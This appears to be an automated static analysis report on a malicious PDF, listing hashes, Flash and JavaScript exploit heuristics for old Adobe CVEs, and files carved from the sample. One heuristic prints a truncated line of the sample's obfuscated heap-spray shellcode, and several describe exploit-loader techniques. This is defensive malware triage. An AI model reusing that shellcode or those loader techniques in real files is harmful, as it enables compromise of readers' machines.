Malicious PDF — malware analysis report

Static analysis result for SHA-256 841c4e95f1f27ce0…

MALICIOUS

PDF

239.3 KB Created: 2010-06-11 11:09:09 +08:00 Authoring application: Writer (via OpenOffice.org 3.0) First seen: 2026-05-11
MD5: b8746a9b4c80b9b73ecc632cdfb8c5e3 SHA-1: d4cbec8beb4ece7aee8da6f0d9a7675517541597 SHA-256: 841c4e95f1f27ce02e8015fbfc1ef566a3cd50007b76c52405257418e7411e27
500 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF document contains multiple critical heuristic firings indicating exploits for Adobe Flash Player (CVE-2011-0611, CVE-2009-1862, CVE-2010-3654). The embedded JavaScript and Flash content likely serve as a loader for a second-stage payload, exploiting client execution vulnerabilities. The presence of an embedded PDF further suggests a multi-stage attack.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9842

Heuristics 13

  • Adobe Flash Player RichMedia exploit critical CVE likely CVE_2011_0611_FLASH_RICHMEDIA
    PDF combines RichMedia Flash activation with an embedded AS3 SWF loader (ByteArray/loadBytes) and shellcode heap-spray staging. This is the static exploit shape associated with CVE-2011-0611 Flash content delivered through Adobe Reader.
  • Adobe Flash/authplay SWF exploit in PDF — CVE-2009-1862 critical CVE likely CVE_2009_1862_FLASH_RICHMEDIA
    PDF combines RichMedia Flash activation, an embedded SWF, and PDF-side shellcode heap-spray staging. This matches the 2009 authplay.dll Flash-in-PDF exploit delivery shape even when the SWF bytecode does not expose stable printable Run_Sploit markers.
  • Adobe Reader authplay SWF exploit in PDF — CVE-2010-3654 critical CVE likely CVE_2010_3654_FLASH_RICHMEDIA
    PDF combines RichMedia Flash activation, an ActionScript 3 SWF containing DoABC/SymbolClass code with URLRequest or StagePlayer/ByteArray/loadBytes markers, and PDF-side shellcode heap-spray staging. This is the static delivery shape associated with CVE-2010-3654 Adobe Reader/Acrobat authplay Flash handling.
  • Flash ActionScript-3 exploit loader in PDF critical CVE related PDF_FLASH_AS3_EXPLOIT_LOADER
    An embedded Flash (SWF) object's ActionScript-3 bytecode contains exploit-loader primitives: decompressing an inner SWF into a ByteArray and executing it via LoaderContext.allowLoadBytesCodeExecution, and/or Vector heap/JIT spray groomers. Benign Flash content does not load and execute code from raw bytes — this is a staged Flash exploit delivered through the document.
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var sc = unescape(urpl("%Z0c0c%Z0c0c%Z4919%Z0700%Zcccc%Zcccc%Z48ef%Z0700%Z156f%Z0700%Zcccc%Zcccc%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9033%Z0700%Z9084%Z0700%Z0c0c%Z0c0c%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z1599%Z0700%Z0124%Z0001%Z72f7%Z0700%Z0104%Z0001%Z15bb%Z0700%Z1000%Z0000%Z154d%Z0700%Z15bb%Z0700%Z0300%Z7ffe%Z7fb2%Z0700%Z15bb%Z0700%Z0011%Z0001%Za8ac%Z0700%Z15bb%Z0700%Z0100%Z0001%Za8ac%Z0700%Z72f7%Z …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • RichMedia (Flash) high PDF_RICHMEDIA
    PDF contains /RichMedia (Adobe Flash) which is a historic exploit vector (matched inside decoded stream)
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload (matched inside decoded stream)
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.monotype.comhttp://www.monotype.com/html/type/license.html In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://www.monotype.com/html/mtname/ms_timesnewroman.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlNOTIFICATIONIn PDF document text

Extracted artifacts 9

Files carved from inside the sample during analysis.

FilenameKindSourceSize
stream_002_off00000372.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x372 3386 bytes
SHA-256: 9cfc3705daa053d177a459f9e6bc46101919540f22572f901c01c8bbaba870fe
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
objstm_0015_00.bin pdf-objstm-decoded PDF /ObjStm 15 0 obj (inflated) 912 bytes
SHA-256: cbd11d2ce487f41cb2e696adc35306d2f3d38b7de6eab25b0e0d07f05d693f12
font_00_sfnt_off0001903b.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x1903B 24080 bytes
SHA-256: afbd45c728dbe62b33512eea01131aeaa2b148d3dd8d411499d3e69ca57dcae9
font_01_sfnt_off0001bea1.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x1BEA1 48648 bytes
SHA-256: 2744adb4ebaea4f8f108c9109ab8935fc059c24e9812985fb7afd06d7e9b1186
font_02_sfnt_off00023830.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x23830 104600 bytes
SHA-256: 4bfb851f15c1f0cbd12e2903acdda7af933bd94a51a8ee6bbe36a84f81d61039
font_03_sfnt_off0003200a.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x3200A 41744 bytes
SHA-256: 2c8de1c863fed688e55fe27e93f226a7886f1a045de634cecb69bdd6d387f0d9
font_04_sfnt_off0003669f.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x3669F 37416 bytes
SHA-256: cfd8475624654acefe85dfed82dabe01906f123e364aa1043e26d7815b7265f5
polyglot_child_pdf_off00017bb3.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x17BB3 147852 bytes
SHA-256: d911fef81914c96f9669238056da78c1bb62b5016114617b4ea9c26d653e6c0a
polyglot_child_pdf_off0003a552.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x3A552 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8